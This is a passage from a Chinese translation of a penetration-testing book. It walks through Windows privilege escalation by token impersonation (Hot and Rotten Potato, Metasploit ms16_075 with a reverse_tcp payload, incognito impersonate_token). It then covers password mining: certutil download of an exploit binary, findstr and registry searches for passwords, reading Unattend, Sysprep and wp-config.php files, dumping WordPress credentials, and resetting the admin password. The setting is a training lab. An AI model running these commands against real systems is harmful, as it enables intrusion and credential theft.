权限维持技术-二-

116 阅读1小时+

权限维持技术(二)

原文:annas-archive.org/md5/9805e2a1c16e127b366157a83eb2f43d

译者:飞龙

协议:CC BY-NC-SA 4.0

第六章:冒充攻击

现在您已经在 Windows 上的权限提升过程中动手操作过,我们可以开始探索其他可以利用的攻击路径,以提升我们的权限。在本章中,我们将更详细地了解Windows 访问令牌,它们是如何工作的,以及如何通过冒充攻击利用它们来提升我们的权限。

本章的实际演示将主要集中在如何枚举系统上的特权,以确定系统是否容易受到冒充攻击,以及如何生成或冒充一个特权的 Windows 访问令牌,该令牌可用于提升我们的特权。

我们还将学习如何使用各种内置的meterpreter模块自动化目标系统上的令牌冒充过程。

本章将涵盖以下主要主题:

  • 了解 Windows 访问令牌

  • 枚举特权

  • 令牌冒充攻击

  • 通过 Potato 攻击提升特权

技术要求

要跟随本章中的演示,您需要确保满足以下技术要求:

  • 熟悉 Windows CMD 命令

  • 基本理解 Windows 访问令牌

您可以在此处查看本章代码的实际演示:bit.ly/3kWPSch

了解 Windows 访问令牌

我们在本书的第一章简要介绍了 Windows 访问令牌是如何工作的,并应该对它们如何被滥用来提升权限有一个大致的了解。本节将更深入地探讨它们是如何工作的,以及它们在 Windows 身份验证过程中的作用。

第一步是重新审视 Windows 访问令牌在身份验证中所起的作用,它们是如何工作的,以及可以分配给令牌的各种安全级别。

Windows 访问令牌

Windows 访问令牌是 Windows 身份验证过程中的核心元素,由本地安全授权子系统服务LSASS)创建和管理。

Windows 访问令牌负责识别和描述在系统上运行的进程或线程的安全上下文。简单来说,访问令牌可以被看作是一个临时的密钥,类似于 Web Cookie,它为用户提供对系统或网络的访问,而无需每次启动进程或访问系统资源时都提供凭据。

访问令牌由winlogon.exe进程在每次用户成功身份验证时生成,并包含与线程或进程相关的用户帐户的身份和特权。然后,此令牌会附加到userinit.exe进程,之后由用户启动的所有子进程将继承来自其创建者的访问令牌副本,并在相同访问令牌的特权下运行。

令牌安全级别

考虑到访问令牌用于根据用户的权限提供特定访问权限,Windows 访问令牌根据分配给它们的不同安全级别进行分类。这些安全级别用于确定分配给特定令牌的权限。

访问令牌通常会分配以下安全级别之一:

  • 匿名

  • 身份识别

  • 伪造

  • 委托

我们将遇到并利用的两个主要安全级别是 impersonatedelegate,因为它们可以被滥用来提升我们在系统上的权限。

伪造令牌

Impersonate-级别的令牌是 Windows 上非交互式登录的直接结果,通常是通过特定的系统服务或域登录生成的。

Impersonate-级别的令牌可用于在本地系统上伪造令牌,而不能用于任何使用该令牌的外部系统。

委托令牌

Delegate-级别的令牌通常是通过在 Windows 上的交互式登录创建的,主要通过传统登录或通过远程访问协议如 远程桌面协议RDP)生成。

Delegate-级别的令牌构成最大威胁,因为它们可以在任何系统上用于伪造令牌。

现在我们了解了访问令牌的工作原理及其相关的各种安全级别,我们可以看看它们是如何被滥用来提升系统权限的。

滥用令牌

滥用令牌以提升系统权限的过程主要取决于被利用账户的权限,该账户已被用来获得初始访问权限。

为了充分理解如何利用委托和伪造访问令牌提升我们的权限,我们需要探讨执行伪造攻击所需的特定 Windows 权限。

以下是成功进行伪造攻击所需的权限:

  • SeAssignPrimaryToken:允许用户使用如 rottenpotato.exe 等攻击工具伪造令牌。

  • SeCreateToken:允许用户创建具有管理员权限的任意令牌。

  • SeImpersonatePrivilege:允许用户在通常具有管理员权限的情况下,在另一个用户的安全上下文下创建进程。

更多关于特定 Windows 权限及其在伪造攻击中可能产生的影响的信息,请参考:github.com/gtworek/Priv2Admin.

现在我们理解了 Windows 上访问令牌的工作原理、与令牌相关的各种安全级别以及成功发起伪造攻击所需的特定权限,我们可以通过查看如何枚举目标系统上与我们账户相关联的权限,来开始令牌伪造过程。

在本章中,我们将使用我们在虚拟黑客实验室中设置的 Windows 7 SP1 虚拟机。

现在我们可以开始枚举特权的过程,以确定是否可以对目标执行伪造攻击。

枚举特权

要执行特权枚举过程,你需要确保通过命令行或meterpreter会话访问目标系统。我们将查看适用于这两种访问方法的各种技术。要开始特权枚举过程,请按照以下步骤操作:

  1. 第一步是识别当前使用的用户账户。可以通过在meterpreter中运行以下命令来完成:

    getuid

    如果你无法通过meterpreter会话访问目标,可以在命令行中运行以下命令:

    whoami

    如下图所示,这将输出当前登录的用户;在这种情况下,我们以普通用户身份登录:

    图 6.1 – 枚举当前用户

    图 6.1 – 枚举当前用户

  2. 下一步是枚举用户特权,可以通过在meterpreter中运行以下命令来实现:

    getprivs

    另外,如果你正在使用命令行,可以在命令提示符下运行以下 Windows 命令:

    whoami /priv

这将输出分配给用户账户的特权列表。我们主要关注识别以下可能被滥用的特权:

  • SeAssignPrimaryToken:此权限允许用户使用rottenpotato.exe等利用工具伪造令牌。

  • SeCreateToken:此权限允许用户创建一个具有管理员权限的任意令牌。

  • SeImpersonatePrivilege:此权限允许用户在另一个用户的安全上下文中创建进程,通常该用户具有管理员权限:

图 6.2 – 使用 meterpreter 枚举特权

图 6.2 – 使用 meterpreter 枚举特权

如前面的截图所示,我们能够识别出SeImpersonatePrivilege特权。此特权可以用来在另一个用户的安全上下文中创建进程,通常该用户具有管理员权限:

图 6.3 – 枚举特权 CMD

图 6.3 – 枚举特权 CMD

如前面的截图所示,Windows 命令也会提供有关特权的信息;在这种情况下,SeImpersonatePrivilege特权允许我们在身份验证后伪造客户端。

如果账户没有上述列出的任何特权,你将无法成功执行伪造攻击。因此,你需要识别另一个潜在的攻击向量。

我们现在已经能够成功枚举登录用户账户的特权,并可以开始执行令牌伪造攻击。

令牌伪造攻击

令牌冒充攻击利用特定的 Windows 权限,如 SeImpersonatePrivilege,来获取具有管理权限的访问令牌,利用该令牌进行冒充,从而提升权限。

这个过程将取决于你所针对的 Windows 版本,并且可以通过多种技术执行。

我们将重点讨论的技术被称为 Potato 攻击。这种攻击有一些变种,会改变利用过程,但利用过程的核心原则保持不变。为了充分理解如何成功冒充令牌,我们需要更深入地了解 Potato 攻击的工作原理。

Potato 攻击概述

Potato 攻击是一个 Windows 提权技术的名称,它利用 Windows 中已知的问题,如 NTLM 中继(特别是 HTTP - SMB 中继)、NetBIOS 名称服务NBNS欺骗WPADWindows 更新

这种技术允许攻击者将 Windows 系统中的权限从最低权限账户提升到最高权限账户,即 NT AUTHORITY**/**SYSTEM

因为利用 NTLM 身份验证的过程涉及到 NTLM 身份验证的工作原理,所以我们需要了解 NTLM 身份验证的基本原理。

NTLM 身份验证

NT LAN 管理器NTLM)是一组在 Windows 中使用的身份验证协议,用于促进计算机之间的身份验证。身份验证过程涉及使用有效的用户名和密码来成功进行身份验证。

NTLM 身份验证在客户端-服务器通信模型下运行,并涉及一个类似于 TCP 三次握手 的握手过程。

身份验证过程利用三种类型的消息,这些消息用于建立成功的身份验证:

  • 谈判

  • 挑战

  • 响应

以下图示展示了 NTLM 身份验证过程的整体情况,以及客户端与服务器之间的握手过程:

图 6.4 – NTLM 身份验证过程

图 6.4 – NTLM 身份验证过程

现在我们对 NTLM 身份验证的基本原理有了初步了解,接下来我们将更详细地探讨握手过程中的步骤:

  1. 客户端通过向服务器发送身份验证请求来发起连接;该请求包括用于身份验证的用户名。

  2. 服务器回应请求,发送 NTLM 挑战,通常是一个随机数。

  3. 客户端接收到挑战响应后,生成挑战号码和用户密码的哈希值,并将其发送回服务器。

  4. 服务器已经知道用户的密码,并生成密码的哈希值来与客户端返回的哈希值进行比较。

  5. 如果哈希匹配,客户端的身份和用户的身份就会得到验证,且访问会被授权;如果不匹配,访问将被拒绝。

NTLM 身份验证握手的性质使其容易受到 中间人攻击,可以利用这些攻击进行伪装攻击。

你现在应该理解 NTLM 身份验证的工作原理,接下来我们可以探索各种可以使用的土豆攻击变种。

热土豆攻击

热土豆攻击涉及多个步骤,利用了 NTLM 中继(特别是 HTTP=>SMB 中继)、WPAD、NetBIOS 名称服务器、伪造和 Windows 更新。攻击过程如下:

  1. 第一步是向目标发送伪造的 NBNS 响应包,指向我们将在 127.0.0.1:80 上设置的伪造 WPAD 代理服务器。这将把目标系统上的 HTTP 流量重定向到我们的服务器。

  2. 下一步是以 NT AUTHORITY**/**SYSTEM 启动 Windows 更新。

  3. 默认情况下,Windows 更新将通过请求 URL http://wpad/wpad.dat&#8221 自动查找网络代理设置配置。这时,伪造的 WPAD 代理服务器就发挥作用了。如果存在代理,将会使用它。由于我们已经用包含伪造代理地址的包淹没了目标,Windows 更新将使用伪造代理,从而让我们拦截特权的 NTLM 身份验证请求。

  4. 伪造的 WPAD 代理通过 NTLM SMB 中继进行身份验证,并获取 NTLM 安全挑战。然后将安全挑战转发给 Windows 更新。

  5. Windows 更新返回 NTLM 响应,该响应将被伪造的 WPAD 代理拦截。

  6. 最后一步是使用 NTLM 响应通过 SMB 进行身份验证。

关于热土豆攻击的更多信息可以在这里找到:foxglovesecurity.com/2016/01/16/hot-potato/

腐烂土豆攻击

腐烂土豆攻击涉及三个主要步骤,利用 NTLM 中继来协商 NT AUTHORITY**/**SYSTEM 的安全令牌。攻击过程如下:

  1. 第一步是诱使 NT AUTHORITY**/**SYSTEM 账户通过我们操作的 TCP 端点使用 NTLM 进行身份验证。

  2. 通过设置中间人攻击,可以促进身份验证过程,从 NT AUTHORITY**/**SYSTEM 账户本地协商安全令牌。

  3. 最后一步涉及伪装我们刚刚协商的令牌。这要求我们的账户拥有 SeImpersonatePrivilege 权限。

腐烂土豆攻击是热土豆攻击的改进版本,也利用了 NTLM 中继、NBNS 伪造、WPAD 和 Windows 更新。腐烂土豆攻击更高效,成功率更高,因为它不依赖于 Windows 更新过程。

更多关于 Rotten Potato 攻击的信息可以在此找到:foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/.

现在我们了解了各种 Potato 攻击的工作原理,我们可以开始在目标系统上进行令牌冒充操作。

通过土豆攻击提升权限

在本节中,我们将探索可以通过 Potato 攻击进行令牌冒充的各种工具和技术。如前所述,Potato 攻击的成功将取决于目标运行的 Windows 版本以及是否运行诸如 WPAD 等服务,或者是否使用 NTLMv2 哈希。

我们可以通过按照下列程序开始这个过程:

  1. 第一步是执行系统枚举,识别通过 Potato 攻击可以利用的潜在权限提升向量。这可以通过使用自动化枚举脚本来完成;在本例中,我们将使用 Windows 漏洞建议器 脚本:

    ./windows-exploit-suggester.py --database <Database>.xlsx --systeminfo <Systeminfo>.txt

    如下图所示,这将输出一份潜在的权限提升漏洞列表,在本例中,我们只关注能够导致权限提升的 Potato 漏洞:

    图 6.5 – Windows 漏洞建议结果

    图 6.5 – Windows 漏洞建议结果

    在这个示例中,我们可以识别出一个潜在的权限提升攻击向量,可以通过 Hot Potato 和 Rotten Potato 攻击进行利用:

    图 6.6 – MS16-075 Metasploit 模块

    图 6.6 – MS16-075 Metasploit 模块

    如上图所示,关于 MS16-075 漏洞的进一步研究揭示了一个我们可以用来自动执行 Potato 攻击的 Metasploit 模块。

  2. 我们可以通过运行以下命令在 Metasploit 中加载模块:

    use exploit/windows/local/ms16_075_reflection

    在加载模块之前,确保你已将 meterpreter 会话置于后台。

  3. 加载模块后,我们可以通过在 Metasploit 控制台中运行以下命令来查看模块选项:

    show options

    你还需要指定要使用的默认 shell;在本例中,我们将使用一个与x64架构操作系统兼容的meterpreter shell。可以通过运行以下命令来实现:

    set payload /windows/x64/meterpreter/reverse_tcp

    如下图所示,你需要修改的模块选项是 LHOSTLPORTSESSION ID。此外,模块选项还应反映出我们在前一步中指定的默认 shell:

    图 6.7 – 模块选项和默认负载

    图 6.7 – 模块选项和默认有效负载

  4. 配置模块选项后,我们可以通过运行以下命令来执行漏洞模块:

    run

    如果漏洞成功,您应该会看到如下截图所示的新meterpreter会话:

    图 6.8 – 漏洞成功

    图 6.8 – 漏洞成功

  5. 下一步是执行模拟过程,可以使用内置的meterpreter模块incognito来自动化。可以通过运行以下命令来加载该模块:

    load incognito

    如果模块成功加载,您应该会看到类似于以下截图所示的消息:

    图 6.9 – 加载 incognito

    图 6.9 – 加载 incognito

    注意

    incognito是一个内置的meterpreter模块,最初是一个独立的应用程序,允许在成功利用漏洞后模拟用户令牌。

  6. 现在我们可以使用incognito显示可用的令牌列表,我们可以模拟的令牌。可以在meterpreter中运行以下命令来完成:

    list_tokens -u

    如以下截图所示,这将列出我们可以模拟以提升权限的所有可用用户令牌。在这种情况下,我们能够识别出具有委托安全级别的NT AUTHORITY/SYSTEM访问令牌:

    图 6.10 – 列出令牌

    图 6.10 – 列出令牌

  7. 下一步是进行实际的模拟。这可以通过运行以下命令,使用incognito来完成:

    impersonate_token "NT AUTHORITY\SYSTEM"

    如果模拟过程成功,您应该会收到类似以下截图所示的消息:

    图 6.11 – 成功的模拟

    图 6.11 – 成功的模拟

  8. 我们现在可以通过枚举当前用户和权限来验证模拟攻击过程。这可以通过在 Meterpreter 中运行以下命令来完成:

    getuid

    如以下截图所示,我们现在应该在目标系统上拥有NT AUTHORITY/SYSTEM权限,并成功提升了我们的权限:

图 6.12 – 用户枚举

图 6.12 – 用户枚举

现在我们已经学会了如何使用 Metasploit 模块自动执行模拟攻击,我们还可以探索如何手动执行 Potato 攻击。

手动升级

手动升级过程将涉及使用需要手动编译、传输和执行的漏洞二进制文件。在执行漏洞二进制文件后,我们将利用meterpreter模块,如incognito,列出可用的令牌,并模拟特权访问令牌以提升我们的权限:

  1. 与前一部分类似,第一步是执行系统枚举,以识别可以通过 Potato 攻击利用的任何潜在权限提升漏洞。可以使用自动化枚举脚本来完成此操作,在本例中,我们将使用 Windows 漏洞建议器 脚本:

    ./windows-exploit-suggester.py --database <Database>.xlsx --systeminfo <Systeminfo>.txt

    如以下截图所示,这将输出一列潜在的权限提升漏洞。在此情况下,我们仅关心能够导致权限提升的 Potato 漏洞:

    图 6.13 – Windows 漏洞建议器结果

    图 6.13 – Windows 漏洞建议器结果

    在此示例中,我们可以识别出一个潜在的权限提升攻击向量,可以通过 Rotten Potato 攻击利用。

    我们可以导航到 图 6.13 中概述的 GitHub 参考 URL,了解更多关于该漏洞以及如何使用它的信息。

    如以下截图所示,GitHub 仓库为我们提供了漏洞源代码和一个预编译的可执行文件,我们可以使用它:

    图 6.14 – RottenPotato GitHub 仓库

    图 6.14 – RottenPotato GitHub 仓库

    GitHub 仓库还为我们提供了漏洞的使用流程和要求,如以下截图所示:

    图 6.15 – RottenPotato 使用情况

    图 6.15 – RottenPotato 使用情况

    在这种情况下,我们将使用预编译的可执行文件;但是,建议分析源代码并手动编译,以根据您的需求修改参数并避免任何安全问题。

  2. 下载预编译漏洞后,我们需要将其传输到目标系统。为了将 rottenpotato.exe 二进制文件传输到我们的目标系统,我们需要在 Kali 虚拟机上设置一个 web 服务器,用于托管该二进制文件,以便我们可以在目标系统上下载它。可以按照此处的步骤完成此操作。

    为了在我们的 Kali 虚拟机上设置一个 web 服务器,我们可以利用 SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储 rottenpotato.exe 二进制文件的目录中运行以下命令来完成此操作:

    sudo python -m SimpleHTTPServer 80

    另外,您还可以通过运行以下命令使用 Python3 http.server 模块:

    sudo python3 -m http.server 80

    如以下截图所示,SimpleHTTPServer 将在 Kali 虚拟机的 IP 地址上通过端口 80 提供该目录中的文件:

    图 6.16 – SimpleHTTP 服务器目录

    图 6.16 – SimpleHTTP 服务器目录

    为了将rottenpotato.exe二进制文件下载到目标系统,我们可以使用certutil工具。然而,在下载二进制文件之前,我们需要导航到一个具有读写权限的目录。在这种情况下,我们将导航到当前用户的桌面,如下图所示:

    图 6.17 – 默认用户目录

    图 6.17 – 默认用户目录

    现在我们可以使用certutil工具从 Kali 虚拟机下载二进制文件到我们的目标系统。可以通过在目标系统上运行以下命令来完成:

    certutil -urlcache -f http://<KALI-VM-IP>/rottenpotato.exe rottenpotato.exe

    或者,我们也可以使用meterpreter上传rottenpotato.exe二进制文件。可以通过运行以下命令来实现:

    upload /<BINARY-LOCATION>/rottenpotato.exe

  3. 根据使用程序的步骤,下一步是在meterpreter中加载incognito模块。可以通过运行以下命令来完成:

    load incognito

  4. 在加载incognito模块后,我们现在可以执行rottenpotato.exe二进制文件。可以通过在meterpreter中启动 shell 会话,运行以下命令来完成:

    shell

    在目标系统上启动 shell 会话后,我们可以通过运行以下命令来执行rottenpotato.exe二进制文件:

    .\rottenpotato.exe

    如果漏洞利用成功,你应该会收到如下图所示的消息:

    图 6.18 – RottenPotato 漏洞利用成功

    图 6.18 – RottenPotato 漏洞利用成功

  5. 现在我们可以终止 shell 会话并返回到meterpreter会话,并列出可用于伪装的访问令牌。可以通过运行以下命令来实现:

    list_tokens -u

    如下图所示,这将列出我们可以伪装的所有可用用户令牌,从而提升我们的权限。在这种情况下,我们能够识别出具有委托安全级别的NT AUTHORITY/SYSTEM访问令牌:

    图 6.19 – 列出令牌

    图 6.19 – 列出令牌

  6. 下一步是进行实际的伪装。可以通过incognito运行以下命令来完成:

    impersonate_token "NT AUTHORITY\SYSTEM"

    如果伪装过程成功,你应该会收到如下图所示的消息:

    图 6.20 – 伪装成功

    图 6.20 – 伪装成功

  7. 现在我们可以通过枚举当前用户和权限来验证伪装攻击过程。可以在 Meterpreter 中通过运行以下命令来实现:

    getuid

    如下图所示,我们现在应该已经拥有NT AUTHORITY/SYSTEM权限,并且已经成功提升了我们的权限:

图 6.21 – 用户枚举

图 6.21 – 用户枚举

现在,我们已经能够通过 Metasploit 模块和手动利用二进制漏洞,成功通过令牌伪装攻击提升我们的权限。

总结

在本章中,我们首先了解了 Windows 访问令牌是如何工作的,以及与之相关的各种安全级别。接着,我们探讨了如何通过使用自动化和手动工具在目标系统上枚举权限,以确定其是否容易受到令牌伪装攻击的影响。最后,我们通过深入分析如何通过 Potato 攻击自动化和手动进行令牌伪装攻击,结束了本章内容。

在下一章中,我们将探讨如何搜索存储的凭证和哈希值,以提升我们的权限。

第七章:Windows 密码挖掘

一个通常未被探索的重要特权提升攻击向量是搜索目标系统上本地存储的凭证的过程。这个过程包括搜索特定的密码和密码哈希值,这些可以直接用于提升特权,而无需使用任何漏洞利用。

本章将重点讲解如何使用各种工具和技术在目标系统上搜索密码并导出密码哈希值的过程。

我们还将了解如何破解 Windows NT LAN ManagerNTLM)哈希值,并利用这些哈希值在目标系统上提升特权。

本章将涵盖以下主要内容:

  • 什么是密码挖掘?

  • 在文件中搜索密码

  • 在 Windows 配置文件中搜索密码

  • 搜索应用程序密码

  • 导出 Windows 哈希值

  • 破解 Windows 哈希值

技术要求

为了跟随本章中的演示,你需要确保熟悉 Windows CMD 命令。

你可以在此查看本章代码的演示:bit.ly/3ogOyCN

什么是密码挖掘?

密码挖掘是搜索并列举存储在目标系统的持久性或易失性内存中的加密或明文密码的过程。这个过程的主要目标是识别潜在有用的用户帐户和应用程序密码,然后可以利用这些信息扩展我们对目标系统的控制权限,并可能为我们提供提升的特权。

由于 Windows 配置和部署用例的性质,这个过程会因目标而异。因此,了解密码(包括加密密码和明文密码)在 Windows 系统中的存储方式和存储位置非常重要。

还需要理解的是,这个过程依赖于一系列漏洞,这些漏洞通常源于组织或个人的密码安全实践。差劲的密码安全实践是攻击者的主要目标,因为它们提供了一个直接的访问通道,无需进一步的系统利用或破坏。

由于各种平台和应用程序需要大量凭证,员工和个人倾向于将凭证以明文形式保存在他们的系统中,通常保存在 .doc.txt.xlsx 文件中以便于访问,并且更可能使用较弱的密码,这些密码通常与他们相关的事件、名字或日期相关。这对组织的安全构成了重大威胁,因此大多数组织都会强制执行密码安全政策,以解决这些问题。

密码安全策略用于建立用户账户密码的基本安全级别,并强制要求安全存储和使用更强的密码,这些密码应包含字母(大写和小写)、符号和数字,且建议最短长度为 8 位。然而,这也导致了密码重用现象的出现,员工和个人可能会将相同的密码用于多个账户,主要是因为他们需要使用的密码复杂。这使得攻击者可以通过破解一个密码访问多个账户。

另一个安全漏洞或风险涉及 Windows 用户账户密码及其存储方式。Windows 会加密并本地存储用户账户密码以及存储在内存中的密码。在攻击者获得初步访问后,用户账户的哈希值可以从内存中提取,并可以被破解,这取决于密码的长度和强度。我们将在本章后续部分探讨这种技术的优缺点。

从组织角度来看,Windows 还用于托管第三方的关键业务应用程序,这些应用程序自身也存在安全漏洞。大多数这些应用程序都实现了某种形式的访问控制,因此需要以用户名和密码组合的形式进行用户身份验证。这些应用程序也容易将凭据本地存储,以明文或加密格式保存。攻击者成功利用应用程序后,可以找到这些凭据,解密它们(如果密码较弱),并利用它们访问应用程序,从而扩大对系统或网络的控制范围。

在本章中,我们将使用在 第二章 设置我们的实验室 中设置的 Metasploitable3 目标虚拟机。

Metasploitable3 是一台故意设置漏洞的虚拟机,运行在 Windows Server 2008 R2 上,并托管了大量应用程序,从 Web 应用到数据库。

这个强大的应用配置提供了一个很好的现实场景,可以用来实际演示我们将在本章中使用的工具和技术。

在我们开始之前,请确保你已经掌握了目标系统并能够通过命令行或 Meterpreter 会话进行访问。

本章中将使用的技术和工具包括利用 Windows 原生命令和特定的 Meterpreter 模块,帮助自动化密码挖掘和转储过程的各个方面。

在文件中搜索密码

该过程的第一步是搜索存储在本地的各种文件中的密码。这将帮助我们识别文本或配置文件中的任何用户或应用程序密码。可以通过使用 Windows 内置的实用程序来实现,这些工具可以帮助我们搜索具有特定扩展名的文件中的特定字符串。

我们将通过以下不同的程序开始这一过程:

  • 第一步是搜索本地文件系统中的特定字符串。在本例中,我们要搜索的字符串是password。这将列出该字符串的所有出现位置、其值、对应的文件名及其位置。可以通过在 Windows 命令行中运行findstr工具来实现:

    findstr /si password *.txt

    该命令将执行区分大小写的搜索,查找所有子目录中的password字符串。

    注意

    findstr是一个用于在文件中搜索字符串的 Windows 工具,可以与各种正则表达式结合使用,以微调你的搜索。

    为了执行彻底的搜索,建议在 Windows 文件系统的根目录运行findstr工具。可以通过导航到C:\\目录并从那里开始搜索来实现。

    这将输出所有包含password字符串的.txt文件列表,如下所示的屏幕截图所示:

图 7.1 – findstr 结果

图 7.1 – findstr 结果

根据系统配置和已安装的应用程序数量,该命令将输出大量信息。因此,建议将结果输出到文件中进行深入分析,因为手动分析结果可能会非常繁琐。

  • 我们还可以使用findstr工具在*.xml文件中搜索password字符串。可以通过运行以下命令来实现:

    findstr /si password *.xml

    如下所示,这将输出所有.xml文件中password字符串的出现位置列表。

    你还可以通过运行以下命令来微调搜索,限制结果仅显示包含字符串的文件:

    findstr /si /m "password" *.xml *.ini *.txt

    这将限制搜索输出,仅显示包含搜索查询中指定字符串的文件:

图 7.2 – findstr XML 结果

图 7.2 – findstr XML 结果

  • 我们还可以对目标系统中所有文件和目录进行综合搜索,查找特定字符串。可以通过运行以下命令来实现:

    findstr /spin "password" *.* -

    该命令将输出所有文件,无论其格式或扩展名,只要文件中包含password字符串。

    根据目标的部署用例,你可能会收到很多匹配项,或者完全没有匹配项。我们将在下一节中详细介绍如何根据我们寻找的密码类型来微调搜索。

  • 我们还可以通过在 Windows 上使用dir命令在文件中搜索各种字符串。可以通过运行以下命令来实现:

    dir /s *pass* == *cred* == *vnc* == *.config*

    如下图所示,该命令将输出指定字符串的所有出现及其相应的位置。这种扫描更加全面,并具有更高的返回有用和可操作结果的概率:

图 7.3 – 目录搜索结果

图 7.3 – 目录搜索结果

如前面的屏幕截图所示,搜索显示了包含搜索中指定字符串的文件的位置。在这种特定情况下,我们可以识别出GlassFish服务器的本地和域密码的位置。我们可以使用这些凭据控制该服务。

在接下来的章节中,我们将详细介绍如何搜索特定于应用程序的密码及其如何用于提升我们的权限。

现在我们知道如何在目标系统的文件中搜索有用的字符串,接下来我们将看看如何在 Windows 配置文件中搜索密码。

在 Windows 配置文件中搜索密码

Windows 可以自动化各种重复的任务,例如在多个系统上大规模部署或安装 Windows。其中一个示例是无人值守 Windows 安装实用程序,它自动化了 Windows 的大规模安装。此工具利用包含特定配置和用户账户凭据的配置文件,攻击者可以利用这些凭据提升权限。在本节中,我们将探讨如何搜索和识别在无人值守 Windows 安装过程中使用的配置文件。

需要注意的是,此技术将根据所使用的 Windows 版本以及是否使用了无人值守 Windows 安装工具而有所不同。鉴于无人值守 Windows 安装工具的典型用例,当它在特定于组织的环境中使用时,此方法将非常有用。但是,您可能会遇到使用无人值守 Windows 安装工具的个别系统。

在我们的案例中,我们的目标系统并未使用无人值守 Windows 安装工具进行设置和配置,因此以下技术将不直接适用。但是,这是密码挖掘过程中的一个至关重要的方面:

  1. 第一步是搜索并识别剩余的无人值守 Windows 安装配置文件。配置文件的名称会根据已安装的 Windows 版本而异。该文件通常具有以下名称之一:

    • Unattend.xml

    • Autounattend.xml

    配置文件的位置也取决于已安装的 Windows 版本,并且通常可以在以下位置之一找到:

    C:\Windows\Panther\Unattend\Unattended.xml

    C:\Windows\Panther\Unattdended.xml

    如下终端输出所示,如果配置文件存在,它应该包含管理员密码的明文或以 Base64 编码的密码,经过解码后即可揭示明文密码:

    <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">

    **    **

    **     UGFzc3dvcmQxMjM=**

    **     true**

    **     Administrator**

    **    **

    **    **

    **     **

    **      **

    **       SENSITIVEDATADELETED**

    **       administrators;users**

    **       Administrator**

    **      **

    **     **

    **    **

    使用 Kali Linux 上的内置 base64 工具可以解密加密密码。可以通过运行以下命令来完成:

    echo "<ENCRYPTED-PASSWORD>" | base64 -d

  2. Windows 安装也可以通过名为 Sysprep 的 Windows 工具进行自动化。Sysprep 用于将 Windows 镜像部署到不同的系统,并且也可以与 Windows 无人值守安装工具配合使用,来为镜像的部署做好准备。

    同样,Sysprep 也利用包含定制内容和用户凭据的配置文件。如果这些文件没有被清理,它们可能会泄露有用的凭据信息。配置文件的名称会根据安装的 Windows 版本有所不同。该文件通常具有以下名称之一:

    • Sysprep.inf

    • Sysprep.xml

    配置文件的位置还取决于安装的 Windows 版本,通常可以在以下位置找到:

    C:\sysprep.inf

    C:\sysprep\sysprep.xml

    如下截图所示,如果配置文件存在,它应该包含明文的管理员密码:

    图 7.4 – Sysprep.xml 密码

    ](Images/B17389_07_004.jpg)

    图 7.4 – Sysprep.xml 密码

    如果这些配置文件存在,它们提供了一条直接的路径,可以在管理员用户获得提升的权限后进行系统身份验证。

  3. Windows 中另一个重要的部分是注册表。Windows 注册表是一个数据库,负责存储 Windows 系统及其他安装在系统中的应用程序的设置和配置。我们可以搜索注册表中的特定字符串来揭示用户凭据。这可以通过运行以下命令来完成:

    reg query HKLM /f password /t REG_SZ /s

    reg query HKCU /f password /t REG_SZ /s

    如下截图所示,这将输出所有匹配密码字符串的注册表项:

图 7.5 – Windows 注册表搜索

图 7.5 – Windows 注册表搜索

在这个特定案例中,我们没有发现任何有趣的内容。因此,我们将转向查找和枚举特定于应用程序的密码。

搜索应用程序密码

当应用程序存在漏洞和弱点时,它们成为攻击者的诱人目标。它们如何存储凭证可能导致系统完全被攻破或权限提升。

本节将重点介绍如何查找和枚举应用程序凭证。本节演示的技术将取决于你所处理的目标类型以及其部署使用场景。在我们的特定案例中,目标虚拟机被设置为服务器,并安装了各种应用程序。

第三章获取访问权限(利用) 中,我们对目标进行了全面的 Nmap 扫描,并识别出多个应用程序,其中大多数是利用某种形式认证的 web 应用程序。这些是我们可以攻击的应用程序:

  • MySQL 服务器

  • phpMyAdmin

  • WordPress

让我们来学习如何查找和识别这些应用程序用来存储凭证的配置文件:

  1. 该过程的第一步是识别正在使用的 web 托管堆栈。正如下面的截图所示,导航到文件系统根目录可以揭示已安装的托管堆栈是 Windows Apache MySQL PHPWAMP):图 7.6 – WAMP

    图 7.6 – WAMP

    我们可以通过浏览 wamp 目录的内容来确定托管了哪些 web 应用程序。可以通过运行以下命令来实现:

    cd wamp\www\

    正如下面的截图所示,目录的内容显示 WordPress 已安装在服务器上:

    图 7.7 – WordPress 目录

    图 7.7 – WordPress 目录

    WordPress 是一个内容管理系统,需要一个数据库——在这个案例中是 MySQL——来存储数据和用户凭证。通过远程连接来连接数据库,数据库的访问凭证存储在 wp-config.php 文件中。我们可以通过进入 WordPress 安装目录,并在 Windows 命令行中运行以下命令来列出此文件的内容:

    type wp-config.php

    正如下面的截图所示,文件的内容揭示了我们可以用来登录的 MySQL 用户名和密码组合:

    图 7.8 – wp-config.php MySQL 凭证

    图 7.8 – wp-config.php MySQL 凭证

  2. 在这种情况下,我们可以获取 MySQL 服务器的根用户名和密码,并通过运行以下命令从 Kali 远程登录:

    mysql -u root -p -h <TARGET-IP>

    如以下截图所示,成功认证后,我们现在应当能够访问 MySQL 服务器的根权限,并查看和导出服务器上任何数据库的内容:

    图 7.9 – MySQL 登录

    ](Images/B17389_07_009.jpg)

    图 7.9 – MySQL 登录

  3. 我们现在可以导出服务器上的数据库列表。可以通过在 MySQL 提示符下运行以下命令来完成:

    show databases;

    如以下截图所示,该命令将输出服务器上的数据库列表:

    图 7.10 – MySQL 数据库

    图 7.10 – MySQL 数据库

  4. 我们可以通过在 MySQL 提示符下运行以下命令来导出 WordPress 数据库的内容:

    use wordpress;

    这将显示 WordPress 数据库中的表格列表。我们可以通过运行以下命令导出 WordPress 安装的用户凭证:

    select * from wp_users;

    如以下截图所示,这将揭示 WordPress 用户的凭证:

    图 7.11 – WordPress 凭证

    ](Images/B17389_07_011.jpg)

    图 7.11 – WordPress 凭证

    用户密码以 MD5 加密,可以解密以显示明文密码。

  5. 此外,鉴于我们已拥有 MySQL 服务器的根权限,我们可以通过运行以下命令来更改管理员账户的密码:

    update wp_users set user_pass = MD5('password123!') where ID = 1;

    我们现在可以使用刚刚设置的密码登录 WordPress 管理后台,并应拥有对 WordPress 网站的管理员控制权限。

    到目前为止,我们已控制了 MySQL 服务器和 WordPress 网站。现在,让我们找到其他应用程序的凭证。

  6. 服务器还在运行 phpMyAdmin。我们可以通过访问该文件的内容来访问 phpMyAdmin 控制面板,如下所示:

